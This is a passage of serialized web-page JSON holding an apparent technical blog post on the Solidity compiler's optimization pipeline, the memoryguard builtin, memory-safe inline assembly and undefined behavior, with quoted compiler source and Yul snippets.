generateEVMFromIR",{"type":23,"tag":481,"props":26722,"children":26723},{"style":525},[26724],{"type":28,"value":618},{"type":23,"tag":481,"props":26726,"children":26727},{"style":514},[26728],{"type":28,"value":2120},{"type":23,"tag":481,"props":26730,"children":26731},{"style":525},[26732],{"type":28,"value":26680},{"type":23,"tag":481,"props":26734,"children":26735},{"class":483,"line":812},[26736],{"type":23,"tag":481,"props":26737,"children":26738},{"style":535},[26739],{"type":28,"value":26740}," else\n",{"type":23,"tag":481,"props":26742,"children":26743},{"class":483,"line":825},[26744,26749,26753,26757],{"type":23,"tag":481,"props":26745,"children":26746},{"style":610},[26747],{"type":28,"value":26748}," compileContract",{"type":23,"tag":481,"props":26750,"children":26751},{"style":525},[26752],{"type":28,"value":618},{"type":23,"tag":481,"props":26754,"children":26755},{"style":514},[26756],{"type":28,"value":2120},{"type":23,"tag":481,"props":26758,"children":26759},{"style":525},[26760],{"type":28,"value":26761},"contract, otherCompilers);\n",{"type":23,"tag":481,"props":26763,"children":26764},{"class":483,"line":843},[26765],{"type":23,"tag":481,"props":26766,"children":26767},{"style":525},[26768],{"type":28,"value":879},{"type":23,"tag":24,"props":26770,"children":26771},{},[26772,26774,26781,26782,26789],{"type":28,"value":26773},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":23,"tag":190,"props":26775,"children":26778},{"href":26776,"rel":26777},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[194],[26779],{"type":28,"value":26780},"YulStack::optimize",{"type":28,"value":8478},{"type":23,"tag":190,"props":26783,"children":26786},{"href":26784,"rel":26785},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[194],[26787],{"type":28,"value":26788},"Assembly::optimize",{"type":28,"value":199},{"type":23,"tag":24,"props":26791,"children":26792},{},[26793],{"type":28,"value":26794},"In total, there are four steps.",{"type":23,"tag":73,"props":26796,"children":26797},{},[26798,26802,26807,26811],{"type":23,"tag":77,"props":26799,"children":26800},{},[26801],{"type":28,"value":26615},{"type":23,"tag":77,"props":26803,"children":26804},{},[26805],{"type":28,"value":26806},"Optimization of YUL IR",{"type":23,"tag":77,"props":26808,"children":26809},{},[26810],{"type":28,"value":26620},{"type":23,"tag":77,"props":26812,"children":26813},{},[26814],{"type":28,"value":26815},"Optimization of EVM opcodes",{"type":23,"tag":24,"props":26817,"children":26818},{},[26819],{"type":28,"value":26820},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":23,"tag":426,"props":26822,"children":26823},{},[26824],{"type":23,"tag":24,"props":26825,"children":26826},{},[26827],{"type":28,"value":26828},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":23,"tag":24,"props":26830,"children":26831},{},[26832],{"type":28,"value":26833},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":23,"tag":24,"props":26835,"children":26836},{},[26837],{"type":28,"value":26838},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":23,"tag":24,"props":26840,"children":26841},{},[26842],{"type":28,"value":26843},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":23,"tag":31,"props":26845,"children":26847},{"id":26846},"guarantees",[26848],{"type":28,"value":26849},"Guarantees",{"type":23,"tag":24,"props":26851,"children":26852},{},[26853,26854,26861,26863,26868],{"type":28,"value":14104},{"type":23,"tag":190,"props":26855,"children":26858},{"href":26856,"rel":26857},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[194],[26859],{"type":28,"value":26860},"Solidity memory layout",{"type":28,"value":26862}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":23,"tag":127,"props":26864,"children":26865},{},[26866],{"type":28,"value":26867},"no information about this layout",{"type":28,"value":199},{"type":23,"tag":24,"props":26870,"children":26871},{},[26872],{"type":28,"value":26873},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":23,"tag":24,"props":26875,"children":26876},{},[26877,26879,26885,26887,26893],{"type":28,"value":26878},"Introducing ",{"type":23,"tag":64,"props":26880,"children":26882},{"className":26881},[],[26883],{"type":28,"value":26884},"memoryguard",{"type":28,"value":26886},". If you've ever looked at the output of ",{"type":23,"tag":64,"props":26888,"children":26890},{"className":26889},[],[26891],{"type":28,"value":26892},"solc --ir",{"type":28,"value":26894},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":23,"tag":435,"props":26896,"children":26898},{"className":2024,"code":26897,"language":2023,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n store(64, memoryguard(0x80))\n",[26899],{"type":23,"tag":64,"props":26900,"children":26901},{"__ignoreMap":7},[26902,26920],{"type":23,"tag":481,"props":26903,"children":26904},{"class":483,"line":484},[26905,26910,26915],{"type":23,"tag":481,"props":26906,"children":26907},{"style":488},[26908],{"type":28,"value":26909}," /// @src 0:26:371 \"contract ",{"type":23,"tag":481,"props":26911,"children":26912},{"style":497},[26913],{"type":28,"value":26914},"XXX",{"type":23,"tag":481,"props":26916,"children":26917},{"style":488},[26918],{"type":28,"value":26919}," {...\"\n",{"type":23,"tag":481,"props":26921,"children":26922},{"class":483,"line":351},[26923,26928,26932,26937,26941,26945,26949,26954],{"type":23,"tag":481,"props":26924,"children":26925},{"style":610},[26926],{"type":28,"value":26927}," store",{"type":23,"tag":481,"props":26929,"children":26930},{"style":525},[26931],{"type":28,"value":618},{"type":23,"tag":481,"props":26933,"children":26934},{"style":551},[26935],{"type":28,"value":26936},"64",{"type":23,"tag":481,"props":26938,"children":26939},{"style":525},[26940],{"type":28,"value":588},{"type":23,"tag":481,"props":26942,"children":26943},{"style":610},[26944],{"type":28,"value":26884},{"type":23,"tag":481,"props":26946,"children":26947},{"style":525},[26948],{"type":28,"value":618},{"type":23,"tag":481,"props":26950,"children":26951},{"style":551},[26952],{"type":28,"value":26953},"0x80",{"type":23,"tag":481,"props":26955,"children":26956},{"style":525},[26957],{"type":28,"value":17209},{"type":23,"tag":24,"props":26959,"children":26960},{},[26961,26963,26970],{"type":28,"value":26962},"From ",{"type":23,"tag":190,"props":26964,"children":26967},{"href":26965,"rel":26966},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[194],[26968],{"type":28,"value":26969},"the documentation",{"type":28,"value":1671},{"type":23,"tag":426,"props":26972,"children":26973},{},[26974],{"type":23,"tag":24,"props":26975,"children":26976},{},[26977,26979,26985,26987,26993,26995,27000],{"type":28,"value":26978},"The caller of ",{"type":23,"tag":64,"props":26980,"children":26982},{"className":26981},[],[26983],{"type":28,"value":26984},"let ptr := memoryguard(size)",{"type":28,"value":26986}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":23,"tag":64,"props":26988,"children":26990},{"className":26989},[],[26991],{"type":28,"value":26992},"[0, size)",{"type":28,"value":26994}," or the unbounded range starting at ",{"type":23,"tag":64,"props":26996,"children":26998},{"className":26997},[],[26999],{"type":28,"value":11437},{"type":28,"value":199},{"type":23,"tag":24,"props":27002,"children":27003},{},[27004,27006,27011,27013,27019],{"type":28,"value":27005},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":23,"tag":64,"props":27007,"children":27009},{"className":27008},[],[27010],{"type":28,"value":26884},{"type":28,"value":27012}," return ",{"type":23,"tag":64,"props":27014,"children":27016},{"className":27015},[],[27017],{"type":28,"value":27018},"size + 32",{"type":28,"value":27020},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":23,"tag":24,"props":27022,"children":27023},{},[27024,27026,27033,27035,27040,27042,27047],{"type":28,"value":27025},"An example of this optimization in practice ",{"type":23,"tag":190,"props":27027,"children":27030},{"href":27028,"rel":27029},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[194],[27031],{"type":28,"value":27032},"is the StackLimitEvader",{"type":28,"value":27034},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":23,"tag":127,"props":27036,"children":27037},{},[27038],{"type":28,"value":27039},"only",{"type":28,"value":27041}," optimization pass that relies on the semantic information communicated by ",{"type":23,"tag":64,"props":27043,"children":27045},{"className":27044},[],[27046],{"type":28,"value":26884},{"type":28,"value":199},{"type":23,"tag":24,"props":27049,"children":27050},{},[27051],{"type":28,"value":27052},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":23,"tag":24,"props":27054,"children":27055},{},[27056,27058,27064],{"type":28,"value":27057},"Fear not, for we can remove this pointer entirely and call ",{"type":23,"tag":64,"props":27059,"children":27061},{"className":27060},[],[27062],{"type":28,"value":27063},"memoryguard(0x60)",{"type":28,"value":27065}," instead. The rest of the pipeline will still work.",{"type":23,"tag":31,"props":27067,"children":27068},{"id":26577},[27069],{"type":28,"value":27070},"Memory Safety",{"type":23,"tag":24,"props":27072,"children":27073},{},[27074],{"type":28,"value":27075},"So what does memory safety mean?",{"type":23,"tag":24,"props":27077,"children":27078},{},[27079,27081,27087],{"type":28,"value":27080},"The Solidity documentation provides ",{"type":23,"tag":190,"props":27082,"children":27084},{"href":26552,"rel":27083},[194],[27085],{"type":28,"value":27086},"a set of constraints",{"type":28,"value":27088},", not a definition.",{"type":23,"tag":426,"props":27090,"children":27091},{},[27092,27097],{"type":23,"tag":24,"props":27093,"children":27094},{},[27095],{"type":28,"value":27096},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":23,"tag":73,"props":27098,"children":27099},{},[27100,27105,27110,27115],{"type":23,"tag":77,"props":27101,"children":27102},{},[27103],{"type":28,"value":27104},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":23,"tag":77,"props":27106,"children":27107},{},[27108],{"type":28,"value":27109},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":23,"tag":77,"props":27111,"children":27112},{},[27113],{"type":28,"value":27114},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":23,"tag":77,"props":27116,"children":27117},{},[27118],{"type":28,"value":27119},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":23,"tag":24,"props":27121,"children":27122},{},[27123,27125,27132,27142],{"type":28,"value":27124},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":23,"tag":190,"props":27126,"children":27129},{"href":27127,"rel":27128},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[194],[27130],{"type":28,"value":27131},"removes the memory guard",{"type":23,"tag":12963,"props":27133,"children":27134},{},[27135],{"type":23,"tag":190,"props":27136,"children":27140},{"href":27137,"ariaDescribedBy":27138,"dataFootnoteRef":7,"id":27139},"#user-content-fn-1",[12970],"user-content-fnref-1",[27141],{"type":28,"value":1558},{"type":28,"value":199},{"type":23,"tag":435,"props":27144,"children":27146},{"className":26623,"code":27145,"language":26625,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n Whiskers{\n _useMemoryGuard ?\n \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n }\n",[27147],{"type":23,"tag":64,"props":27148,"children":27149},{"__ignoreMap":7},[27150,27158,27166,27173,27209,27216,27224,27232,27240,27248,27256,27269,27282,27290],{"type":23,"tag":481,"props":27151,"children":27152},{"class":483,"line":484},[27153],{"type":23,"tag":481,"props":27154,"children":27155},{"style":488},[27156],{"type":28,"value":27157},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":23,"tag":481,"props":27159,"children":27160},{"class":483,"line":351},[27161],{"type":23,"tag":481,"props":27162,"children":27163},{"style":488},[27164],{"type":28,"value":27165},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":23,"tag":481,"props":27167,"children":27168},{"class":483,"line":531},[27169],{"type":23,"tag":481,"props":27170,"children":27171},{"emptyLinePlaceholder":15},[27172],{"type":28,"value":1210},{"type":23,"tag":481,"props":27174,"children":27175},{"class":483,"line":567},[27176,27181,27186,27191,27195,27200,27205],{"type":23,"tag":481,"props":27177,"children":27178},{"style":943},[27179],{"type":28,"value":27180},"string",{"type":23,"tag":481,"props":27182,"children":27183},{"style":525},[27184],{"type":28,"value":27185}," IRGenerator::",{"type":23,"tag":481,"props":27187,"children":27188},{"style":610},[27189],{"type":28,"value":27190},"memoryInit",{"type":23,"tag":481,"props":27192,"children":27193},{"style":525},[27194],{"type":28,"value":618},{"type":23,"tag":481,"props":27196,"children":27197},{"style":497},[27198],{"type":28,"value":27199},"bool",{"type":23,"tag":481,"props":27201,"children":27202},{"style":508},[27203],{"type":28,"value":27204}," _useMemoryGuard",{"type":23,"tag":481,"props":27206,"children":27207},{"style":525},[27208],{"type":28,"value":675},{"type":23,"tag":481,"props":27210,"children":27211},{"class":483,"line":678},[27212],{"type":23,"tag":481,"props":27213,"children":27214},{"style":525},[27215],{"type":28,"value":8366},{"type":23,"tag":481,"props":27217,"children":27218},{"class":483,"line":784},[27219],{"type":23,"tag":481,"props":27220,"children":27221},{"style":488},[27222],{"type":28,"value":27223}," // This function should be called at the beginning of the EVM call frame\n",{"type":23,"tag":481,"props":27225,"children":27226},{"class":483,"line":812},[27227],{"type":23,"tag":481,"props":27228,"children":27229},{"style":488},[27230],{"type":28,"value":27231}," // and thus can assume all memory to be zero, including the contents of\n",{"type":23,"tag":481,"props":27233,"children":27234},{"class":483,"line":825},[27235],{"type":23,"tag":481,"props":27236,"children":27237},{"style":488},[27238],{"type":28,"value":27239}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":23,"tag":481,"props":27241,"children":27242},{"class":483,"line":843},[27243],{"type":23,"tag":481,"props":27244,"children":27245},{"style":535},[27246],{"type":28,"value":27247}," return\n",{"type":23,"tag":481,"props":27249,"children":27250},{"class":483,"line":864},[27251],{"type":23,"tag":481,"props":27252,"children":27253},{"style":525},[27254],{"type":28,"value":27255}," Whiskers{\n",{"type":23,"tag":481,"props":27257,"children":27258},{"class":483,"line":873},[27259,27264],{"type":23,"tag":481,"props":27260,"children":27261},{"style":525},[27262],{"type":28,"value":27263}," _useMemoryGuard ",{"type":23,"tag":481,"props":27265,"children":27266},{"style":514},[27267],{"type":28,"value":27268},"?\n",{"type":23,"tag":481,"props":27270,"children":27271},{"class":483,"line":1125},[27272,27277],{"type":23,"tag":481,"props":27273,"children":27274},{"style":1805},[27275],{"type":28,"value":27276}," \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":23,"tag":481,"props":27278,"children":27279},{"style":514},[27280],{"type":28,"value":27281}," :\n",{"type":23,"tag":481,"props":27283,"children":27284},{"class":483,"line":1142},[27285],{"type":23,"tag":481,"props":27286,"children":27287},{"style":1805},[27288],{"type":28,"value":27289}," \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":23,"tag":481,"props":27291,"children":27292},{"class":483,"line":1159},[27293],{"type":23,"tag":481,"props":27294,"children":27295},{"style":525},[27296],{"type":28,"value":3348},{"type":23,"tag":24,"props":27298,"children":27299},{},[27300,27305,27307,27313],{"type":23,"tag":64,"props":27301,"children":27303},{"className":27302},[],[27304],{"type":28,"value":26892},{"type":28,"value":27306}," will now no longer have ",{"type":23,"tag":64,"props":27308,"children":27310},{"className":27309},[],[27311],{"type":28,"value":27312},"memoryguard(0x80)",{"type":28,"value":27314}," as expected.",{"type":23,"tag":435,"props":27316,"children":27318},{"className":2024,"code":27317,"language":2023,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n mstore(64, 128)\n",[27319],{"type":23,"tag":64,"props":27320,"children":27321},{"__ignoreMap":7},[27322,27337],{"type":23,"tag":481,"props":27323,"children":27324},{"class":483,"line":484},[27325,27329,27333],{"type":23,"tag":481,"props":27326,"children":27327},{"style":488},[27328],{"type":28,"value":26909},{"type":23,"tag":481,"props":27330,"children":27331},{"style":497},[27332],{"type":28,"value":26914},{"type":23,"tag":481,"props":27334,"children":27335},{"style":488},[27336],{"type":28,"value":26919},{"type":23,"tag":481,"props":27338,"children":27339},{"class":483,"line":351},[27340,27345,27349,27353,27357,27362],{"type":23,"tag":481,"props":27341,"children":27342},{"style":610},[27343],{"type":28,"value":27344}," mstore",{"type":23,"tag":481,"props":27346,"children":27347},{"style":525},[27348],{"type":28,"value":618},{"type":23,"tag":481,"props":27350,"children":27351},{"style":551},[27352],{"type":28,"value":26936},{"type":23,"tag":481,"props":27354,"children":27355},{"style":525},[27356],{"type":28,"value":588},{"type":23,"tag":481,"props":27358,"children":27359},{"style":551},[27360],{"type":28,"value":27361},"128",{"type":23,"tag":481,"props":27363,"children":27364},{"style":525},[27365],{"type":28,"value":675},{"type":23,"tag":24,"props":27367,"children":27368},{},[27369,27371,27376,27378,27383],{"type":28,"value":27370},"Semantically, the absence of ",{"type":23,"tag":64,"props":27372,"children":27374},{"className":27373},[],[27375],{"type":28,"value":26884},{"type":28,"value":27377}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":23,"tag":64,"props":27379,"children":27381},{"className":27380},[],[27382],{"type":28,"value":26884},{"type":28,"value":27384}," invariant.",{"type":23,"tag":426,"props":27386,"children":27387},{},[27388],{"type":23,"tag":24,"props":27389,"children":27390},{},[27391,27392,27397,27398,27403,27404,27409],{"type":28,"value":26978},{"type":23,"tag":64,"props":27393,"children":27395},{"className":27394},[],[27396],{"type":28,"value":26984},{"type":28,"value":26986},{"type":23,"tag":64,"props":27399,"children":27401},{"className":27400},[],[27402],{"type":28,"value":26992},{"type":28,"value":26994},{"type":23,"tag":64,"props":27405,"children":27407},{"className":27406},[],[27408],{"type":28,"value":11437},{"type":28,"value":199},{"type":23,"tag":24,"props":27411,"children":27412},{},[27413],{"type":28,"value":27414},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":23,"tag":31,"props":27416,"children":27418},{"id":27417},"undefined-behavior",[27419],{"type":28,"value":27420},"Undefined Behavior",{"type":23,"tag":24,"props":27422,"children":27423},{},[27424,27426,27431,27433,27438,27440,27446],{"type":28,"value":27425},"How strict is memory safety? When it comes to ",{"type":23,"tag":64,"props":27427,"children":27429},{"className":27428},[],[27430],{"type":28,"value":26884},{"type":28,"value":27432},", only touching memory after 0x80 seems to matter. Is ",{"type":23,"tag":64,"props":27434,"children":27436},{"className":27435},[],[27437],{"type":28,"value":26542},{"type":28,"value":27439}," annotated assembly that touches memory at ",{"type":23,"tag":64,"props":27441,"children":27443},{"className":27442},[],[27444],{"type":28,"value":27445},"[0x40, 0x7f]",{"type":28,"value":27447}," really safe?",{"type":23,"tag":24,"props":27449,"children":27450},{},[27451,27452,27459,27461,27466],{"type":28,"value":14104},{"type":23,"tag":190,"props":27453,"children":27456},{"href":27454,"rel":27455},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[194],[27457],{"type":28,"value":27458},"Solidity documentation",{"type":28,"value":27460}," mentions ",{"type":23,"tag":127,"props":27462,"children":27463},{},[27464],{"type":28,"value":27465},"undefined behavior",{"type":28,"value":27467}," three times.",{"type":23,"tag":73,"props":27469,"children":27470},{},[27471,27476,27491],{"type":23,"tag":77,"props":27472,"children":27473},{},[27474],{"type":28,"value":27475},"The existence of a dangling reference",{"type":23,"tag":77,"props":27477,"children":27478},{},[27479,27481],{"type":28,"value":27480},"Using verbatim improperly",{"type":23,"tag":12963,"props":27482,"children":27483},{},[27484],{"type":23,"tag":190,"props":27485,"children":27489},{"href":27486,"ariaDescribedBy":27487,"dataFootnoteRef":7,"id":27488},"#user-content-fn-2",[12970],"user-content-fnref-2",[27490],{"type":28,"value":637},{"type":23,"tag":77,"props":27492,"children":27493},{},[27494],{"type":28,"value":27495},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":23,"tag":24,"props":27497,"children":27498},{},[27499],{"type":28,"value":27500},"Why does this matter?",{"type":23,"tag":24,"props":27502,"children":27503},{},[27504,27506,27513,27515,27522],{"type":28,"value":27505},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":23,"tag":190,"props":27507,"children":27510},{"href":27508,"rel":27509},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[194],[27511],{"type":28,"value":27512},"signed integer overflow is undefined",{"type":28,"value":27514},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":23,"tag":190,"props":27516,"children":27519},{"href":27517,"rel":27518},"https://blog.regehr.org/archives/1307",[194],[27520],{"type":28,"value":27521},"years down the line",{"type":28,"value":199},{"type":23,"tag":24,"props":27524,"children":27525},{},[27526,27528,27535,27536,27541],{"type":28,"value":27527},"Going back to Solidity, the specification makes ",{"type":23,"tag":190,"props":27529,"children":27532},{"href":27530,"rel":27531},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[194],[27533],{"type":28,"value":27534},"it unambiguously clear",{"type":28,"value":16026},{"type":23,"tag":127,"props":27537,"children":27538},{},[27539],{"type":28,"value":27540},"Thou shalt not modify the zero slot",{"type":28,"value":199},{"type":23,"tag":426,"props":27543,"children":27544},{},[27545],{"type":23,"tag":24,"props":27546,"children":27547},{},[27548],{"type":28,"value":27549},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":23,"tag":24,"props":27551,"children":27552},{},[27553,27555,27560],{"type":28,"value":27554},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":23,"tag":127,"props":27556,"children":27557},{},[27558],{"type":28,"value":27559},"in Solidity",{"type":28,"value":199},{"type":23,"tag":24,"props":27562,"children":27563},{},[27564],{"type":28,"value":27565},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":23,"tag":73,"props":27567,"children":27568},{},[27569],{"type":23,"tag":77,"props":27570,"children":27571},{},[27572,27574,27581],{"type":28,"value":27573},"It very clearly ",{"type":23,"tag":190,"props":27575,"children":27578},{"href":27576,"rel":27577},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[194],[27579],{"type":28,"value":27580},"holds true today",{"type":28,"value":199},{"type":23,"tag":435,"props":27583,"children":27585},{"className":26623,"code":27584,"language":26625,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n setLocation(_inlineAsm);\n if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n m_context.setMemoryUnsafeInlineAssemblySeen();\n CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[27586],{"type":23,"tag":64,"props":27587,"children":27588},{"__ignoreMap":7},[27589,27629,27636,27649,27721,27742,27793,27800],{"type":23,"tag":481,"props":27590,"children":27591},{"class":483,"line":484},[27592,27596,27601,27606,27610,27615,27620,27625],{"type":23,"tag":481,"props":27593,"children":27594},{"style":497},[27595],{"type":28,"value":27199},{"type":23,"tag":481,"props":27597,"children":27598},{"style":525},[27599],{"type":28,"value":27600}," IRGeneratorForStatements::",{"type":23,"tag":481,"props":27602,"children":27603},{"style":610},[27604],{"type":28,"value":27605},"visit",{"type":23,"tag":481,"props":27607,"children":27608},{"style":525},[27609],{"type":28,"value":618},{"type":23,"tag":481,"props":27611,"children":27612},{"style":943},[27613],{"type":28,"value":27614},"InlineAssembly",{"type":23,"tag":481,"props":27616,"children":27617},{"style":497},[27618],{"type":28,"value":27619}," const&",{"type":23,"tag":481,"props":27621,"children":27622},{"style":508},[27623],{"type":28,"value":27624}," _inlineAsm",{"type":23,"tag":481,"props":27626,"children":27627},{"style":525},[27628],{"type":28,"value":675},{"type":23,"tag":481,"props":27630,"children":27631},{"class":483,"line":351},[27632],{"type":23,"tag":481,"props":27633,"children":27634},{"style":525},[27635],{"type":28,"value":8366},{"type":23,"tag":481,"props":27637,"children":27638},{"class":483,"line":531},[27639,27644],{"type":23,"tag":481,"props":27640,"children":27641},{"style":610},[27642],{"type":28,"value":27643}," setLocation",{"type":23,"tag":481,"props":27645,"children":27646},{"style":525},[27647],{"type":28,"value":27648},"(_inlineAsm);\n",{"type":23,"tag":481,"props":27650,"children":27651},{"class":483,"line":567},[27652,27656,27660,27664,27669,27673,27678,27683,27688,27692,27696,27700,27704,27708,27712,27717],{"type":23,"tag":481,"props":27653,"children":27654},{"style":535},[27655],{"type":28,"value":9766},{"type":23,"tag":481,"props":27657,"children":27658},{"style":525},[27659],{"type":28,"value":578},{"type":23,"tag":481,"props":27661,"children":27662},{"style":514},[27663],{"type":28,"value":2120},{"type":23,"tag":481,"props":27665,"children":27666},{"style":508},[27667],{"type":28,"value":27668},"_inlineAsm",{"type":23,"tag":481,"props":27670,"children":27671},{"style":525},[27672],{"type":28,"value":199},{"type":23,"tag":481,"props":27674,"children":27675},{"style":610},[27676],{"type":28,"value":27677},"annotation",{"type":23,"tag":481,"props":27679,"children":27680},{"style":525},[27681],{"type":28,"value":27682},"().",{"type":23,"tag":481,"props":27684,"children":27685},{"style":508},[27686],{"type":28,"value":27687},"hasMemoryEffects",{"type":23,"tag":481,"props":27689,"children":27690},{"style":514},[27691],{"type":28,"value":11673},{"type":23,"tag":481,"props":27693,"children":27694},{"style":514},[27695],{"type":28,"value":10351},{"type":23,"tag":481,"props":27697,"children":27698},{"style":508},[27699],{"type":28,"value":27668},{"type":23,"tag":481,"props":27701,"children":27702},{"style":525},[27703],{"type":28,"value":199},{"type":23,"tag":481,"props":27705,"children":27706},{"style":610},[27707],{"type":28,"value":27677},{"type":23,"tag":481,"props":27709,"children":27710},{"style":525},[27711],{"type":28,"value":27682},{"type":23,"tag":481,"props":27713,"children":27714},{"style":508},[27715],{"type":28,"value":27716},"markedMemorySafe",{"type":23,"tag":481,"props":27718,"children":27719},{"style":525},[27720],{"type":28,"value":675},{"type":23,"tag":481,"props":27722,"children":27723},{"class":483,"line":678},[27724,27729,27733,27738],{"type":23,"tag":481,"props":27725,"children":27726},{"style":508},[27727],{"type":28,"value":27728}," m_context",{"type":23,"tag":481,"props":27730,"children":27731},{"style":525},[27732],{"type":28,"value":199},{"type":23,"tag":481,"props":27734,"children":27735},{"style":610},[27736],{"type":28,"value":27737},"setMemoryUnsafeInlineAssemblySeen",{"type":23,"tag":481,"props":27739,"children":27740},{"style":525},[27741],{"type":28,"value":1201},{"type":23,"tag":481,"props":27743,"children":27744},{"class":483,"line":784},[27745,27750,27754,27758,27763,27768,27772,27776,27780,27784,27789],{"type":23,"tag":481,"props":27746,"children":27747},{"style":525},[27748],{"type":28,"value":27749}," CopyTranslate bodyCopier{",{"type":23,"tag":481,"props":27751,"children":27752},{"style":508},[27753],{"type":28,"value":27668},{"type":23,"tag":481,"props":27755,"children":27756},{"style":525},[27757],{"type":28,"value":199},{"type":23,"tag":481,"props":27759,"children":27760},{"style":610},[27761],{"type":28,"value":27762},"dialect",{"type":23,"tag":481,"props":27764,"children":27765},{"style":525},[27766],{"type":28,"value":27767},"(), m_context, ",{"type":23,"tag":481,"props":27769,"children":27770},{"style":508},[27771],{"type":28,"value":27668},{"type":23,"tag":481,"props":27773,"children":27774},{"style":525},[27775],{"type":28,"value":199},{"type":23,"tag":481,"props":27777,"children":27778},{"style":610},[27779],{"type":28,"value":27677},{"type":23,"tag":481,"props":27781,"children":27782},{"style":525},[27783],{"type":28,"value":27682},{"type":23,"tag":481,"props":27785,"children":27786},{"style":508},[27787],{"type":28,"value":27788},"externalReferences",{"type":23,"tag":481,"props":27790,"children":27791},{"style":525},[27792],{"type":28,"value":14068},{"type":23,"tag":481,"props":27794,"children":27795},{"class":483,"line":812},[27796],{"type":23,"tag":481,"props":27797,"children":27798},{"emptyLinePlaceholder":15},[27799],{"type":28,"value":1210},{"type":23,"tag":481,"props":27801,"children":27802},{"class":483,"line":825},[27803,27808,27812,27817,27821,27825,27829,27834],{"type":23,"tag":481,"props":27804,"children":27805},{"style":525},[27806],{"type":28,"value":27807}," yul::Statement modified ",{"type":23,"tag":481,"props":27809,"children":27810},{"style":514},[27811],{"type":28,"value":603},{"type":23,"tag":481,"props":27813,"children":27814},{"style":610},[27815],{"type":28,"value":27816}," 